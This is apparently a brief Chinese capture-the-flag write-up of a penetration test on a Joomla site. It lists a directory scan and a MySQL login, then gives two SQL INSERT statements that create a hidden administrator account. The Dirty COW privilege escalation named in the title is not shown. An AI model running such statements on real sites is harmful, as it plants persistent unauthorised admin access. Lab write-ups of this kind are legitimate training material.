joomla渗透测试（脏牛提权）

本来是个域渗透，不过环境有问题，就当作web题在做了

解题过程

这是一个joomla cms

• 我们先扫一下目录
  

• 连接mysql
  得到MySQL的账号和密码
  然后创建新的管理员

   INSERT INTO `am2zu_users` (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`) VALUES ('Administrator2', 'admin2','d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());
  

  INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`) VALUES (LAST_INSERT_ID(),'8')